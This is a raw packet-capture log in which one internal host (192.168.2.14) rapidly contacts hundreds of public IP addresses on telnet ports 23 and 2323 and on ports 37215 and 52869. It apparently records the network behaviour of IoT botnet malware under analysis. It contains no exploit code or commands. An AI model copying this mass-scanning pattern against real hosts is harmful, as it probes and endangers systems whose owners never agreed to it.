Dec 4, 2024 20:34:25.880723000 CET	60787	23	192.168.2.14	166.190.139.93
Dec 4, 2024 20:34:25.880734921 CET	23	60787	107.100.203.60	192.168.2.14
Dec 4, 2024 20:34:25.880770922 CET	60787	23	192.168.2.14	107.100.203.60
Dec 4, 2024 20:34:25.880788088 CET	23	60787	17.204.247.148	192.168.2.14
Dec 4, 2024 20:34:25.880796909 CET	23	60787	188.73.181.191	192.168.2.14
Dec 4, 2024 20:34:25.880826950 CET	60787	23	192.168.2.14	17.204.247.148
Dec 4, 2024 20:34:25.880831957 CET	60787	23	192.168.2.14	188.73.181.191
Dec 4, 2024 20:34:25.880839109 CET	23	60787	177.15.111.180	192.168.2.14
Dec 4, 2024 20:34:25.880855083 CET	2323	60787	94.106.119.36	192.168.2.14
Dec 4, 2024 20:34:25.880863905 CET	23	60787	170.57.91.53	192.168.2.14
Dec 4, 2024 20:34:25.880908012 CET	60787	23	192.168.2.14	177.15.111.180
Dec 4, 2024 20:34:25.880918026 CET	60787	2323	192.168.2.14	94.106.119.36
Dec 4, 2024 20:34:25.880922079 CET	60787	23	192.168.2.14	170.57.91.53
Dec 4, 2024 20:34:25.881009102 CET	23	60787	76.67.43.114	192.168.2.14
Dec 4, 2024 20:34:25.881019115 CET	23	60787	108.8.142.82	192.168.2.14
Dec 4, 2024 20:34:25.881027937 CET	23	60787	213.63.48.122	192.168.2.14
Dec 4, 2024 20:34:25.881037951 CET	23	60787	79.82.1.152	192.168.2.14
Dec 4, 2024 20:34:25.881042004 CET	60787	23	192.168.2.14	76.67.43.114
Dec 4, 2024 20:34:25.881048918 CET	23	60787	12.20.127.167	192.168.2.14
Dec 4, 2024 20:34:25.881050110 CET	60787	23	192.168.2.14	108.8.142.82
Dec 4, 2024 20:34:25.881057024 CET	60787	23	192.168.2.14	213.63.48.122
Dec 4, 2024 20:34:25.881059885 CET	23	60787	63.66.155.50	192.168.2.14
Dec 4, 2024 20:34:25.881069899 CET	60787	23	192.168.2.14	79.82.1.152
Dec 4, 2024 20:34:25.881078959 CET	23	60787	23.179.86.99	192.168.2.14
Dec 4, 2024 20:34:25.881079912 CET	60787	23	192.168.2.14	12.20.127.167
Dec 4, 2024 20:34:25.881088972 CET	23	60787	31.66.177.31	192.168.2.14
Dec 4, 2024 20:34:25.881093979 CET	60787	23	192.168.2.14	63.66.155.50
Dec 4, 2024 20:34:25.881098986 CET	2323	60787	18.42.116.191	192.168.2.14
Dec 4, 2024 20:34:25.881108046 CET	23	60787	182.33.119.0	192.168.2.14
Dec 4, 2024 20:34:25.881114960 CET	60787	23	192.168.2.14	23.179.86.99
Dec 4, 2024 20:34:25.881115913 CET	23	60787	153.89.76.53	192.168.2.14
Dec 4, 2024 20:34:25.881122112 CET	60787	2323	192.168.2.14	18.42.116.191
Dec 4, 2024 20:34:25.881123066 CET	60787	23	192.168.2.14	31.66.177.31
Dec 4, 2024 20:34:25.881127119 CET	23	60787	181.67.249.120	192.168.2.14
Dec 4, 2024 20:34:25.881131887 CET	60787	23	192.168.2.14	182.33.119.0
Dec 4, 2024 20:34:25.881144047 CET	60787	23	192.168.2.14	153.89.76.53
Dec 4, 2024 20:34:25.881145954 CET	23	60787	76.163.220.206	192.168.2.14
Dec 4, 2024 20:34:25.881156921 CET	60787	23	192.168.2.14	181.67.249.120
Dec 4, 2024 20:34:25.881164074 CET	23	60787	126.34.156.20	192.168.2.14
Dec 4, 2024 20:34:25.881172895 CET	23	60787	126.49.89.98	192.168.2.14
Dec 4, 2024 20:34:25.881181955 CET	23	60787	79.215.26.35	192.168.2.14
Dec 4, 2024 20:34:25.881185055 CET	60787	23	192.168.2.14	76.163.220.206
Dec 4, 2024 20:34:25.881191015 CET	23	60787	205.211.228.33	192.168.2.14
Dec 4, 2024 20:34:25.881200075 CET	2323	60787	46.203.113.103	192.168.2.14
Dec 4, 2024 20:34:25.881203890 CET	60787	23	192.168.2.14	126.34.156.20
Dec 4, 2024 20:34:25.881206989 CET	60787	23	192.168.2.14	126.49.89.98
Dec 4, 2024 20:34:25.881216049 CET	60787	23	192.168.2.14	79.215.26.35
Dec 4, 2024 20:34:25.881226063 CET	60787	23	192.168.2.14	205.211.228.33
Dec 4, 2024 20:34:25.881234884 CET	60787	2323	192.168.2.14	46.203.113.103
Dec 4, 2024 20:34:25.881755114 CET	23	60787	204.47.126.4	192.168.2.14
Dec 4, 2024 20:34:25.881772041 CET	23	60787	99.25.64.248	192.168.2.14
Dec 4, 2024 20:34:25.881804943 CET	60787	23	192.168.2.14	99.25.64.248
Dec 4, 2024 20:34:25.881807089 CET	23	60787	196.204.237.142	192.168.2.14
Dec 4, 2024 20:34:25.881839991 CET	60787	23	192.168.2.14	204.47.126.4
Dec 4, 2024 20:34:25.881855965 CET	60787	23	192.168.2.14	196.204.237.142
Dec 4, 2024 20:34:25.881860971 CET	23	60787	122.124.157.120	192.168.2.14
Dec 4, 2024 20:34:25.881913900 CET	60787	23	192.168.2.14	122.124.157.120
Dec 4, 2024 20:34:25.881917953 CET	23	60787	124.184.162.210	192.168.2.14
Dec 4, 2024 20:34:25.881927967 CET	23	60787	217.95.8.211	192.168.2.14
Dec 4, 2024 20:34:25.881937981 CET	23	60787	197.146.207.127	192.168.2.14
Dec 4, 2024 20:34:25.881954908 CET	60787	23	192.168.2.14	217.95.8.211
Dec 4, 2024 20:34:25.881954908 CET	60787	23	192.168.2.14	124.184.162.210
Dec 4, 2024 20:34:25.881958008 CET	23	60787	203.200.222.137	192.168.2.14
Dec 4, 2024 20:34:25.881963968 CET	60787	23	192.168.2.14	197.146.207.127
Dec 4, 2024 20:34:25.881969929 CET	23	60787	71.191.18.79	192.168.2.14
Dec 4, 2024 20:34:25.881999016 CET	23	60787	58.20.152.61	192.168.2.14
Dec 4, 2024 20:34:25.882006884 CET	60787	23	192.168.2.14	203.200.222.137
Dec 4, 2024 20:34:25.882033110 CET	60787	23	192.168.2.14	71.191.18.79
Dec 4, 2024 20:34:25.882033110 CET	60787	23	192.168.2.14	58.20.152.61
Dec 4, 2024 20:34:25.882056952 CET	2323	60787	40.100.52.135	192.168.2.14
Dec 4, 2024 20:34:25.882092953 CET	60787	2323	192.168.2.14	40.100.52.135
Dec 4, 2024 20:34:25.882122040 CET	23	60787	174.66.186.156	192.168.2.14
Dec 4, 2024 20:34:25.882160902 CET	60787	23	192.168.2.14	174.66.186.156
Dec 4, 2024 20:34:25.882167101 CET	23	60787	185.154.100.83	192.168.2.14
Dec 4, 2024 20:34:25.882211924 CET	60787	23	192.168.2.14	185.154.100.83
Dec 4, 2024 20:34:25.882219076 CET	23	60787	53.185.73.235	192.168.2.14
Dec 4, 2024 20:34:25.882227898 CET	23	60787	201.201.225.171	192.168.2.14
Dec 4, 2024 20:34:25.882235050 CET	23	60787	184.188.11.233	192.168.2.14
Dec 4, 2024 20:34:25.882246017 CET	23	60787	57.212.133.97	192.168.2.14
Dec 4, 2024 20:34:25.882253885 CET	60787	23	192.168.2.14	53.185.73.235
Dec 4, 2024 20:34:25.882257938 CET	23	60787	173.160.247.243	192.168.2.14
Dec 4, 2024 20:34:25.882268906 CET	60787	23	192.168.2.14	201.201.225.171
Dec 4, 2024 20:34:25.882273912 CET	60787	23	192.168.2.14	184.188.11.233
Dec 4, 2024 20:34:25.882296085 CET	60787	23	192.168.2.14	57.212.133.97
Dec 4, 2024 20:34:25.882307053 CET	60787	23	192.168.2.14	173.160.247.243
Dec 4, 2024 20:34:25.882319927 CET	23	60787	95.86.232.41	192.168.2.14
Dec 4, 2024 20:34:25.882356882 CET	2323	60787	17.56.21.17	192.168.2.14
Dec 4, 2024 20:34:25.882356882 CET	60787	23	192.168.2.14	95.86.232.41
Dec 4, 2024 20:34:25.882399082 CET	60787	2323	192.168.2.14	17.56.21.17
Dec 4, 2024 20:34:25.882417917 CET	23	60787	114.17.252.220	192.168.2.14
Dec 4, 2024 20:34:25.882427931 CET	23	60787	112.219.72.137	192.168.2.14
Dec 4, 2024 20:34:25.882441044 CET	23	60787	99.3.22.245	192.168.2.14
Dec 4, 2024 20:34:25.882456064 CET	60787	23	192.168.2.14	112.219.72.137
Dec 4, 2024 20:34:25.882457018 CET	60787	23	192.168.2.14	114.17.252.220
Dec 4, 2024 20:34:25.882457018 CET	23	60787	31.178.206.233	192.168.2.14
Dec 4, 2024 20:34:25.882467031 CET	23	60787	63.168.78.179	192.168.2.14
Dec 4, 2024 20:34:25.882482052 CET	60787	23	192.168.2.14	99.3.22.245
Dec 4, 2024 20:34:25.882483006 CET	23	60787	27.143.236.33	192.168.2.14
Dec 4, 2024 20:34:25.882491112 CET	60787	23	192.168.2.14	31.178.206.233
Dec 4, 2024 20:34:25.882498980 CET	60787	23	192.168.2.14	63.168.78.179
Dec 4, 2024 20:34:25.882508993 CET	23	60787	67.31.148.173	192.168.2.14
Dec 4, 2024 20:34:25.882519007 CET	60787	23	192.168.2.14	27.143.236.33
Dec 4, 2024 20:34:25.882534981 CET	23	60787	156.69.233.90	192.168.2.14
Dec 4, 2024 20:34:25.882550955 CET	60787	23	192.168.2.14	67.31.148.173
Dec 4, 2024 20:34:25.882571936 CET	60787	23	192.168.2.14	156.69.233.90
Dec 4, 2024 20:34:25.883265972 CET	23	60787	197.74.108.161	192.168.2.14
Dec 4, 2024 20:34:25.883276939 CET	23	60787	175.185.172.124	192.168.2.14
Dec 4, 2024 20:34:25.883305073 CET	23	60787	219.20.154.0	192.168.2.14
Dec 4, 2024 20:34:25.883308887 CET	60787	23	192.168.2.14	197.74.108.161
Dec 4, 2024 20:34:25.883310080 CET	60787	23	192.168.2.14	175.185.172.124
Dec 4, 2024 20:34:25.883336067 CET	2323	60787	147.114.63.106	192.168.2.14
Dec 4, 2024 20:34:25.883338928 CET	60787	23	192.168.2.14	219.20.154.0
Dec 4, 2024 20:34:25.883371115 CET	60787	2323	192.168.2.14	147.114.63.106
Dec 4, 2024 20:34:25.883378983 CET	23	60787	81.1.17.150	192.168.2.14
Dec 4, 2024 20:34:25.883416891 CET	23	60787	154.221.12.204	192.168.2.14
Dec 4, 2024 20:34:25.883419991 CET	60787	23	192.168.2.14	81.1.17.150
Dec 4, 2024 20:34:25.883429050 CET	23	60787	36.225.61.16	192.168.2.14
Dec 4, 2024 20:34:25.883440018 CET	23	60787	66.131.62.6	192.168.2.14
Dec 4, 2024 20:34:25.883451939 CET	60787	23	192.168.2.14	154.221.12.204
Dec 4, 2024 20:34:25.883465052 CET	60787	23	192.168.2.14	36.225.61.16
Dec 4, 2024 20:34:25.883481979 CET	60787	23	192.168.2.14	66.131.62.6
Dec 4, 2024 20:34:25.883639097 CET	23	60787	46.148.210.97	192.168.2.14
Dec 4, 2024 20:34:25.883647919 CET	23	60787	93.135.121.201	192.168.2.14
Dec 4, 2024 20:34:25.883656979 CET	23	60787	62.39.209.206	192.168.2.14
Dec 4, 2024 20:34:25.883666039 CET	23	60787	75.4.142.186	192.168.2.14
Dec 4, 2024 20:34:25.883675098 CET	60787	23	192.168.2.14	46.148.210.97
Dec 4, 2024 20:34:25.883676052 CET	60787	23	192.168.2.14	93.135.121.201
Dec 4, 2024 20:34:25.883682966 CET	60787	23	192.168.2.14	62.39.209.206
Dec 4, 2024 20:34:25.883682966 CET	23	60787	182.131.47.3	192.168.2.14
Dec 4, 2024 20:34:25.883693933 CET	23	60787	212.188.247.36	192.168.2.14
Dec 4, 2024 20:34:25.883702993 CET	2323	60787	164.67.139.116	192.168.2.14
Dec 4, 2024 20:34:25.883702993 CET	60787	23	192.168.2.14	75.4.142.186
Dec 4, 2024 20:34:25.883712053 CET	23	60787	146.132.242.218	192.168.2.14
Dec 4, 2024 20:34:25.883719921 CET	60787	23	192.168.2.14	182.131.47.3
Dec 4, 2024 20:34:25.883723021 CET	23	60787	42.21.255.205	192.168.2.14
Dec 4, 2024 20:34:25.883732080 CET	23	60787	160.154.37.217	192.168.2.14
Dec 4, 2024 20:34:25.883734941 CET	60787	2323	192.168.2.14	164.67.139.116
Dec 4, 2024 20:34:25.883739948 CET	60787	23	192.168.2.14	212.188.247.36
Dec 4, 2024 20:34:25.883740902 CET	60787	23	192.168.2.14	146.132.242.218
Dec 4, 2024 20:34:25.883744955 CET	23	60787	136.176.64.4	192.168.2.14
Dec 4, 2024 20:34:25.883753061 CET	60787	23	192.168.2.14	42.21.255.205
Dec 4, 2024 20:34:25.883754015 CET	23	60787	108.187.216.240	192.168.2.14
Dec 4, 2024 20:34:25.883759975 CET	60787	23	192.168.2.14	160.154.37.217
Dec 4, 2024 20:34:25.883764029 CET	23	60787	86.242.79.120	192.168.2.14
Dec 4, 2024 20:34:25.883771896 CET	60787	23	192.168.2.14	136.176.64.4
Dec 4, 2024 20:34:25.883780956 CET	23	60787	78.148.240.80	192.168.2.14
Dec 4, 2024 20:34:25.883784056 CET	60787	23	192.168.2.14	108.187.216.240
Dec 4, 2024 20:34:25.883807898 CET	60787	23	192.168.2.14	86.242.79.120
Dec 4, 2024 20:34:25.883820057 CET	60787	23	192.168.2.14	78.148.240.80
Dec 4, 2024 20:34:26.738019943 CET	60275	37215	192.168.2.14	41.177.84.214
Dec 4, 2024 20:34:26.738019943 CET	60275	37215	192.168.2.14	197.160.194.244
Dec 4, 2024 20:34:26.738022089 CET	60275	37215	192.168.2.14	156.251.29.26
Dec 4, 2024 20:34:26.738019943 CET	60275	37215	192.168.2.14	156.18.171.232
Dec 4, 2024 20:34:26.738022089 CET	60275	37215	192.168.2.14	156.9.248.12
Dec 4, 2024 20:34:26.738019943 CET	60275	37215	192.168.2.14	197.36.63.105
Dec 4, 2024 20:34:26.738022089 CET	60275	37215	192.168.2.14	41.229.239.98
Dec 4, 2024 20:34:26.738020897 CET	60275	37215	192.168.2.14	197.132.10.45
Dec 4, 2024 20:34:26.738022089 CET	60275	37215	192.168.2.14	156.129.48.75
Dec 4, 2024 20:34:26.738022089 CET	60275	37215	192.168.2.14	41.180.92.57
Dec 4, 2024 20:34:26.738022089 CET	60275	37215	192.168.2.14	197.177.167.219
Dec 4, 2024 20:34:26.738025904 CET	60275	37215	192.168.2.14	197.168.92.243
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	156.165.212.19
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.175.158.131
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.18.241.231
Dec 4, 2024 20:34:26.738027096 CET	60275	37215	192.168.2.14	197.106.79.182
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	156.119.15.49
Dec 4, 2024 20:34:26.738023996 CET	60275	37215	192.168.2.14	197.232.195.50
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.182.145.32
Dec 4, 2024 20:34:26.738025904 CET	60275	37215	192.168.2.14	156.185.160.157
Dec 4, 2024 20:34:26.738027096 CET	60275	37215	192.168.2.14	41.219.18.98
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.27.190.107
Dec 4, 2024 20:34:26.738030910 CET	60275	37215	192.168.2.14	41.233.57.150
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	156.187.50.184
Dec 4, 2024 20:34:26.738027096 CET	60275	37215	192.168.2.14	41.25.84.94
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.107.204.221
Dec 4, 2024 20:34:26.738025904 CET	60275	37215	192.168.2.14	41.89.96.182
Dec 4, 2024 20:34:26.738027096 CET	60275	37215	192.168.2.14	197.47.207.152
Dec 4, 2024 20:34:26.738025904 CET	60275	37215	192.168.2.14	41.214.200.166
Dec 4, 2024 20:34:26.738027096 CET	60275	37215	192.168.2.14	41.168.252.6
Dec 4, 2024 20:34:26.738027096 CET	60275	37215	192.168.2.14	197.202.25.134
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	156.67.81.124
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	197.80.108.123
Dec 4, 2024 20:34:26.738030910 CET	60275	37215	192.168.2.14	41.129.222.84
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	197.250.58.21
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	156.51.31.180
Dec 4, 2024 20:34:26.738030910 CET	60275	37215	192.168.2.14	197.131.252.49
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	197.189.96.119
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.228.143.114
Dec 4, 2024 20:34:26.738030910 CET	60275	37215	192.168.2.14	197.1.30.233
Dec 4, 2024 20:34:26.738024950 CET	60275	37215	192.168.2.14	41.111.116.26
Dec 4, 2024 20:34:26.738030910 CET	60275	37215	192.168.2.14	197.92.46.4
Dec 4, 2024 20:34:26.738032103 CET	60275	37215	192.168.2.14	197.99.200.32
Dec 4, 2024 20:34:26.738032103 CET	60275	37215	192.168.2.14	41.43.125.157
Dec 4, 2024 20:34:26.738032103 CET	60275	37215	192.168.2.14	156.208.136.231
Dec 4, 2024 20:34:26.738086939 CET	60275	37215	192.168.2.14	197.169.81.41
Dec 4, 2024 20:34:26.738086939 CET	60275	37215	192.168.2.14	156.11.10.67
Dec 4, 2024 20:34:26.738086939 CET	60275	37215	192.168.2.14	197.205.213.126
Dec 4, 2024 20:34:26.738086939 CET	60275	37215	192.168.2.14	197.168.49.127
Dec 4, 2024 20:34:26.738086939 CET	60275	37215	192.168.2.14	41.189.114.4
Dec 4, 2024 20:34:26.738086939 CET	60275	37215	192.168.2.14	197.55.222.110
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	156.231.88.39
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	197.216.75.27
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	156.94.117.109
Dec 4, 2024 20:34:26.738087893 CET	60275	37215	192.168.2.14	156.208.164.109
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	41.205.225.79
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	197.20.137.225
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	197.65.172.244
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	156.127.247.190
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	156.113.31.125
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	197.147.96.103
Dec 4, 2024 20:34:26.738089085 CET	60275	37215	192.168.2.14	197.174.172.212
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	41.224.237.64
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	197.36.227.249
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	197.37.234.253
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	197.143.21.179
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	41.199.38.164
Dec 4, 2024 20:34:26.738090038 CET	60275	37215	192.168.2.14	156.2.139.92
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	41.132.36.93
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	41.147.18.13
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	41.150.224.130
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.121.251.179
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.37.119.234
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	156.182.118.63
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	156.9.73.193
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.253.63.165
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.34.175.166
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.98.254.63
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	156.253.178.62
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	41.113.146.228
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	156.243.222.245
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.174.87.68
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.180.93.166
Dec 4, 2024 20:34:26.738102913 CET	60275	37215	192.168.2.14	41.148.143.35
Dec 4, 2024 20:34:26.738101959 CET	60275	37215	192.168.2.14	197.19.206.62
Dec 4, 2024 20:34:26.738102913 CET	60275	37215	192.168.2.14	156.29.32.26
Dec 4, 2024 20:34:26.738102913 CET	60275	37215	192.168.2.14	197.50.111.8
Dec 4, 2024 20:34:26.738102913 CET	60275	37215	192.168.2.14	197.89.34.158
Dec 4, 2024 20:34:26.738102913 CET	60275	37215	192.168.2.14	41.103.64.102
Dec 4, 2024 20:34:26.738104105 CET	60275	37215	192.168.2.14	156.62.218.171
Dec 4, 2024 20:34:26.738104105 CET	60275	37215	192.168.2.14	197.10.54.107
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	156.28.121.206
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	41.154.31.252
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	197.181.161.124
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	156.195.35.131
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	156.254.86.4
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	197.136.14.197
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	41.2.43.219
Dec 4, 2024 20:34:26.738111973 CET	60275	37215	192.168.2.14	41.52.93.51
Dec 4, 2024 20:34:26.738116980 CET	60275	37215	192.168.2.14	197.251.135.234
Dec 4, 2024 20:34:26.738116980 CET	60275	37215	192.168.2.14	197.249.75.36
Dec 4, 2024 20:34:26.738116980 CET	60275	37215	192.168.2.14	41.82.99.223
Dec 4, 2024 20:34:26.738116980 CET	60275	37215	192.168.2.14	41.226.9.199
Dec 4, 2024 20:34:26.738117933 CET	60275	37215	192.168.2.14	41.164.60.158
Dec 4, 2024 20:34:26.738117933 CET	60275	37215	192.168.2.14	197.225.159.14
Dec 4, 2024 20:34:26.738117933 CET	60275	37215	192.168.2.14	156.25.35.65
Dec 4, 2024 20:34:26.738117933 CET	60275	37215	192.168.2.14	156.235.174.31
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	197.14.66.20
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	197.81.46.216
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	41.67.36.77
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	197.232.70.160
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	41.123.101.211
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	41.55.23.170
Dec 4, 2024 20:34:26.738156080 CET	60275	37215	192.168.2.14	197.70.133.43
Dec 4, 2024 20:34:26.738163948 CET	60275	37215	192.168.2.14	197.114.143.42
Dec 4, 2024 20:34:26.738163948 CET	60275	37215	192.168.2.14	41.29.165.21
Dec 4, 2024 20:34:26.738163948 CET	60275	37215	192.168.2.14	41.216.234.36
Dec 4, 2024 20:34:26.738163948 CET	60275	37215	192.168.2.14	156.155.244.28
Dec 4, 2024 20:34:26.738163948 CET	60275	37215	192.168.2.14	41.57.198.70
Dec 4, 2024 20:34:26.738193035 CET	60275	37215	192.168.2.14	41.133.205.99
Dec 4, 2024 20:34:26.738193035 CET	60275	37215	192.168.2.14	197.149.30.227
Dec 4, 2024 20:34:26.738193035 CET	60275	37215	192.168.2.14	197.236.52.30
Dec 4, 2024 20:34:26.738193035 CET	60275	37215	192.168.2.14	156.95.154.74
Dec 4, 2024 20:34:26.738193035 CET	60275	37215	192.168.2.14	197.252.39.103
Dec 4, 2024 20:34:26.738205910 CET	60275	37215	192.168.2.14	41.111.74.211
Dec 4, 2024 20:34:26.738205910 CET	60275	37215	192.168.2.14	197.100.153.241
Dec 4, 2024 20:34:26.738205910 CET	60275	37215	192.168.2.14	41.36.133.239
Dec 4, 2024 20:34:26.738205910 CET	60275	37215	192.168.2.14	156.217.191.113
Dec 4, 2024 20:34:26.738207102 CET	60275	37215	192.168.2.14	41.190.70.26
Dec 4, 2024 20:34:26.738207102 CET	60275	37215	192.168.2.14	197.111.234.255
Dec 4, 2024 20:34:26.738207102 CET	60275	37215	192.168.2.14	156.12.91.229
Dec 4, 2024 20:34:26.738207102 CET	60275	37215	192.168.2.14	156.76.18.156
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	197.70.88.183
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	197.93.71.218
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	41.81.231.89
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	156.122.161.83
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	197.120.72.7
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	197.111.61.60
Dec 4, 2024 20:34:26.738219976 CET	60275	37215	192.168.2.14	41.66.77.4
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	41.21.174.144
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	197.222.253.32
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	197.244.243.109
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	197.52.75.120
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	41.114.183.207
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	41.65.58.188
Dec 4, 2024 20:34:26.738221884 CET	60275	37215	192.168.2.14	156.37.235.54
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	41.247.169.221
Dec 4, 2024 20:34:26.738234997 CET	60275	37215	192.168.2.14	197.108.72.89
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	197.192.59.111
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	156.195.231.180
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	156.181.13.170
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	156.66.133.143
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	197.108.171.236
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	156.133.18.146
Dec 4, 2024 20:34:26.738235950 CET	60275	37215	192.168.2.14	156.155.109.223
Dec 4, 2024 20:34:26.738269091 CET	60275	37215	192.168.2.14	41.121.28.254
Dec 4, 2024 20:34:26.738269091 CET	60275	37215	192.168.2.14	197.149.27.193
Dec 4, 2024 20:34:26.738269091 CET	60275	37215	192.168.2.14	41.216.180.67
Dec 4, 2024 20:34:26.738269091 CET	60275	37215	192.168.2.14	156.68.222.239
Dec 4, 2024 20:34:26.738279104 CET	60275	37215	192.168.2.14	156.119.224.55
Dec 4, 2024 20:34:26.738686085 CET	40064	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:26.739506960 CET	50822	37215	192.168.2.14	41.53.67.33
Dec 4, 2024 20:34:26.740063906 CET	51048	37215	192.168.2.14	41.165.7.20
Dec 4, 2024 20:34:26.740622997 CET	36750	37215	192.168.2.14	156.154.217.250
Dec 4, 2024 20:34:26.741239071 CET	49360	37215	192.168.2.14	41.54.125.212
Dec 4, 2024 20:34:26.741466999 CET	60019	52869	192.168.2.14	156.182.5.220
Dec 4, 2024 20:34:26.741466999 CET	60019	52869	192.168.2.14	41.166.181.182
Dec 4, 2024 20:34:26.741472006 CET	60019	52869	192.168.2.14	41.88.104.106
Dec 4, 2024 20:34:26.741477966 CET	60019	52869	192.168.2.14	197.33.75.15
Dec 4, 2024 20:34:26.741477966 CET	60019	52869	192.168.2.14	41.37.240.91
Dec 4, 2024 20:34:26.741482973 CET	60019	52869	192.168.2.14	41.209.228.38
Dec 4, 2024 20:34:26.741489887 CET	60019	52869	192.168.2.14	197.6.203.211
Dec 4, 2024 20:34:26.741494894 CET	60019	52869	192.168.2.14	156.150.33.177
Dec 4, 2024 20:34:26.741503000 CET	60019	52869	192.168.2.14	156.14.94.156
Dec 4, 2024 20:34:26.741503000 CET	60019	52869	192.168.2.14	197.108.183.182
Dec 4, 2024 20:34:26.741518021 CET	60019	52869	192.168.2.14	41.49.204.48
Dec 4, 2024 20:34:26.741519928 CET	60019	52869	192.168.2.14	197.150.219.30
Dec 4, 2024 20:34:26.741519928 CET	60019	52869	192.168.2.14	197.117.223.65
Dec 4, 2024 20:34:26.741520882 CET	60019	52869	192.168.2.14	197.183.242.200
Dec 4, 2024 20:34:26.741530895 CET	60019	52869	192.168.2.14	41.230.58.55
Dec 4, 2024 20:34:26.741533995 CET	60019	52869	192.168.2.14	156.39.49.150
Dec 4, 2024 20:34:26.741544008 CET	60019	52869	192.168.2.14	41.123.163.182
Dec 4, 2024 20:34:26.741544008 CET	60019	52869	192.168.2.14	197.120.249.18
Dec 4, 2024 20:34:26.741548061 CET	60019	52869	192.168.2.14	156.227.3.64
Dec 4, 2024 20:34:26.741548061 CET	60019	52869	192.168.2.14	197.34.25.155
Dec 4, 2024 20:34:26.741559029 CET	60019	52869	192.168.2.14	156.155.175.209
Dec 4, 2024 20:34:26.741560936 CET	60019	52869	192.168.2.14	156.149.246.169
